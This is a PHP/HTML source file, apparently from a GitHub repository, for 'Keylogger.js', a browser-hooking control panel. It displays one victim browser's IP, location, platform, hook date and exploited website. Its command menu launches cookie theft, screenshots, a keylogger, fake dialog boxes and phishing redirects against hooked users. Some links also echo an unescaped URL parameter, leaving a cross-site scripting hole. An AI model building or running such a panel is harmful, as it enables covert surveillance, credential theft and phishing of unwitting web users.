-
Notifications
You must be signed in to change notification settings - Fork 51
/
browserDetails.php
231 lines (217 loc) · 12.8 KB
/
browserDetails.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
<?php
require('./vendor/autoload.php');
?>
<html>
<head lang="en">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Keylogger.js</title>
<link rel="stylesheet" href="./styles/bootstrap.css"/>
<link rel="stylesheet" href="./styles/bootstrap-icons.css">
<link rel="stylesheet" href="./styles/flag-icons.css"/>
<link rel="stylesheet" href="./styles/svgMap.min.css">
<link rel="stylesheet" href="./styles/style.css"/>
<link rel="icon" type="image/png" sizes="32x32" href="./images/favicon.ico">
</head>
<body>
<?php
include_once('./inc/header.inc.php');
?>
<nav class="navbar navbar-expand-lg bg-dark border-bottom border-dark border-1 shadow-lg p-0" style="--bs-bg-opacity: .80;">
<div class="container-fluid">
<div class="btn-group">
<?php
if(isset($_GET['page']) && $_GET['page'] === "overview") {
echo '<a class="browsernav-active me-4" href="?browserId=' . $_GET['browserId'] . '&page=overview">Overview</a>';
}
else {
echo '<a class="browsernav-inactive me-4" href="?browserId=' . $_GET['browserId'] . '&page=overview">Overview</a>';
}
?>
<div class="dropdown btn-action">
<button data-mdb-button-init data-mdb-ripple-init data-mdb-dropdown-init class="btn btn-browsernav btn-action-inactive dropdown-toggle me-4" type="button" id="dropdownMenuButton" data-mdb-toggle="dropdown" aria-expanded="false">Commands</button>
<ul class="dropdown-menu bg-dark browsernav rounded-0 rounded-bottom" aria-labelledby="dropdownMenuButton" style="--bs-bg-opacity: .80;">
<li>
<span class="dropdown-item bg-transparent browsernav" style="--bs-bg-opacity: .80;" href="#">Gathering Information</span>
<ul class="dropdown-menu dropdown-submenu bg-dark browsernav" style="--bs-bg-opacity: .80;">
<li>
<?php echo '<a class="dropdown-item bg-transparent browsernav" style="--bs-bg-opacity: .80;" href="#" onclick="javascript:commandPopUp(\'commands/gatheringInformation/stealCookies.php?browserId=' . htmlspecialchars($_GET['browserId']) . '\' , 300, 500);return false;">Cookies</a>'; ?>
</li>
<li>
<?php echo '<a class="dropdown-item bg-transparent browsernav" style="--bs-bg-opacity: .80;" href="#" onclick="javascript:commandPopUp(\'commands/gatheringInformation/takeScreenshot.php?browserId=' . htmlspecialchars($_GET['browserId']) . '\' , 300, 500);return false;">Screenshot</a>'; ?>
</li>
<li>
<?php echo '<a class="dropdown-item bg-transparent browsernav" style="--bs-bg-opacity: .80;" href="#" onclick="javascript:commandPopUp(\'commands/gatheringInformation/keylogger.php?browserId=' . htmlspecialchars($_GET['browserId']) . '\' , 300, 500);return false;">Keylogger</a>'; ?>
</li>
</ul>
</li>
<li>
<span class="dropdown-item bg-transparent browsernav" style="--bs-bg-opacity: .80;" href="#">User Interaction</span>
<ul class="dropdown-menu dropdown-submenu bg-dark browsernav" style="--bs-bg-opacity: .80;">
<li>
<?php echo '<a class="dropdown-item bg-transparent browsernav" style="--bs-bg-opacity: .80;" href="#" onclick="javascript:commandPopUp(\'commands/userInteraction/displayDialogBox.php?browserId=' . htmlspecialchars($_GET['browserId']) . '\' , 300, 500);return false;">Dialog box</a>'; ?>
</li>
</ul>
</li>
<li>
<span class="dropdown-item bg-transparent browsernav" style="--bs-bg-opacity: .80;" href="#">Phishing</span>
<ul class="dropdown-menu dropdown-submenu bg-dark browsernav" style="--bs-bg-opacity: .80;">
<li>
<?php echo '<a class="dropdown-item bg-transparent browsernav" style="--bs-bg-opacity: .80;" href="#" onclick="javascript:commandPopUp(\'commands/phishing/redirect.php?browserId=' . htmlspecialchars($_GET['browserId']) . '\' , 300, 500);return false;">User redirect</a>'; ?>
</li>
</ul>
</li>
</ul>
</div>
<?php
if(isset($_GET['page']) && $_GET['page'] === "logs") {
echo '<a class="browsernav-active me-4" href="?browserId=' . $_GET['browserId'] . '&page=logs">Logs</a>';
}
else {
echo '<a class="browsernav-inactive me-4" href="?browserId=' . $_GET['browserId'] . '&page=logs">Logs</a>';
}
?>
</div>
</div>
</nav>
<div class="container-fluid">
<?php
if(isset($_GET['page']) && $_GET['page'] === "overview") {
?>
<div class="row pt-2">
<div class="col">
<div class="card bg-dark border-0" style="--bs-bg-opacity: .50;">
<div class="card-body p-2">
<table class="table table-striped custom-table-striped table-bordered border-light border-1 border-opacity-25 text-light mb-0">
<thead class="bg-dark" style="--bs-bg-opacity: .50;">
<tr>
<th class="bg-transparent text-light text-center">Id</th>
<th class="bg-transparent text-light text-center">Online</th>
<th class="bg-transparent text-light text-center">Last Seen Online</th>
<th class="bg-transparent text-light text-center">Hooked Date</th>
<th class="bg-transparent text-light text-center">Platform</th>
<th class="bg-transparent text-light text-center">Browser</th>
<th class="bg-transparent text-light text-center">Browser version</th>
<th class="bg-transparent text-light text-center">Country</th>
<th class="bg-transparent text-light text-center">Public IP</th>
<th class="bg-transparent text-light text-center">Exploited website</th>
<th class="bg-transparent text-light text-center">Action</th>
</tr>
</thead>
<tbody class="fw-light text-center" id="tbody">
<?php
include_once('./summaryBrowserCard.php');
?>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="row pt-2">
<div class="col-4">
<div class="card bg-dark border-0 h-100" style="--bs-bg-opacity: .50;">
<?php
include_once('./technicalDetailsBrowserCard.php');
?>
</div>
</div>
<div class="col-4">
<div class="card bg-dark border-0 h-100" style="--bs-bg-opacity: .50;">
<?php
include_once('./geolocationBrowserCard.php');
?>
</div>
</div>
<div class="col-4">
<div class="bg-dark" style="--bs-bg-opacity: .50; min-height: 100%">
<div class="card bg-dark border-0" style="--bs-bg-opacity: .0;">
<div class="card-body map p-2 "id="svgMap">
</div>
</div>
</div>
</div>
</div>
<div class="row pt-2">
<div class="col-4">
<div class="card bg-dark border-0" style="--bs-bg-opacity: .50;">
<div class="card-body p-2">
<?php
include_once('./hookedScreenshotCard.php');
?>
</div>
</div>
</div>
<div class="col-8">
<div class="card bg-dark border-0" style="--bs-bg-opacity: .50;">
<div class="card-body p-2">
<?php
include_once('./sourceCodeCard.php');
?>
</div>
</div>
</div>
</div>
<?php
}
?>
<?php
if(isset($_GET['page']) && $_GET['page'] === "logs") {
?>
<div class="row pt-2">
<div class="col">
<div class="card bg-dark border-0" style="--bs-bg-opacity: .50;">
<div class="card-body p-2" id="history">
<?php
include_once('./historyBrowserCard.php');
?>
</div>
</div>
</div>
</div>
<?php
}
?>
</div>
<?php
include_once('./inc/footer.inc.php');
?>
<script src="./scripts/bootstrap.bundle.js"></script>
<script src="./scripts/svg-pan-zoom.js"></script>
<script src="./scripts/svgMap.js"></script>
<script src="./scripts/utils.js"></script>
<script>
new svgMap({
targetElementID: 'svgMap',
mouseWheelZoomEnabled: false,
colorMax: 'FFFFFF',
colorMin: 'FFFFFF',
colorNoData: '#328771',
data: {
data: {
hooked: {
name: 'hooked',
format: '{0}'
}
},
applyData: 'hooked',
values: {
<?php echo $geoloc['countryCode'] ?>: { hooked: 1 }
}
}
});
document.getElementsByClassName('svgMap-tooltip')[0].setAttribute("style","opacity: 0.0;");
</script>
<script src="./scripts/jquery-3.7.1.min.js"></script>
<script type="text/javascript">
setInterval("refresh();",3000);
const urlParams = new URLSearchParams(window.location.search);
const browserId = urlParams.get('browserId');
function refresh(){
$('#subHeader').load('./inc/subheader.inc.php');
$('#tbody').load('./summaryBrowserCard.php?browserId=' + browserId);
$('#history').load('./historyBrowserCard.php?browserId=' + browserId + '&page=logs');
}
</script>
</body>
</html>